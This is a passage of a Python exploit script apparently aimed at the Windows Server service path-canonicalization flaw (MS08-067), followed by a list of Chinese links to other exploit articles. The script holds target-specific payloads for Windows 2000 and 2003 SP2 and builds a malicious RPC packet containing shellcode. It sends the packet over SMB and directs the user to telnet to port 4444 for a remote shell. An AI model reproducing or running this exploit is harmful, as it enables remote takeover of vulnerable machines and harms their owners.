payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00' #Payload for Windows 2003[SP2] target payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00' if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded' if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded' class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...' if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except IndexError: print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0] print 'Example: srvsvcexpl.py 192.168.1.1 2\n' print 'Select OS Version' print '[-]Windows 2000: OS Version = 1' print '[-]Windows 2003[SP2]: OS Version = 2' sys.exit(-1) current = SRVSVC_Exploit(target, osver) current.start() #print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
相关文章推荐
- 利用漏洞 MS12-020(WINxp)
- Metasploit利用远程桌面协议RDP拒绝访问漏洞(MS12-020)
- Win7下 MS12_020 漏洞利用
- 在Backtrack5 下利用MS12_004_midi漏洞渗透
- Heartbleed漏洞利用程序
- 怎样写远程缓冲区溢出漏洞利用程序
- Microsoft远程桌面协议RDP远程代码可执行漏洞(CVE-2012-0002)(MS12-020)
- MS12-020 远程桌面漏洞
- DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码
- ms12_020漏洞致蓝屏
- MS08067高危漏洞利用程序测试成功,请注意防护
- 5.漏洞验证系列--MS12-020远程桌面中的漏洞可能允许远程执行代码
- 利用HTTP协议和IE的漏洞在其他计算机上运行一个程序
- MS12-020 远程桌面漏洞
- 如何寻找WEB程序漏洞,及如何利用和防范
- 利用HTTP协议和IE的漏洞在其他计算机上运行一个程序
- 如何寻找WEB程序漏洞及如何利用和防范
- 跨出权限―世纪热线全站程序完美版漏洞利用
- 利用ms12_027漏洞生成文字马
- phpwind管理权限泄露漏洞利用程序发布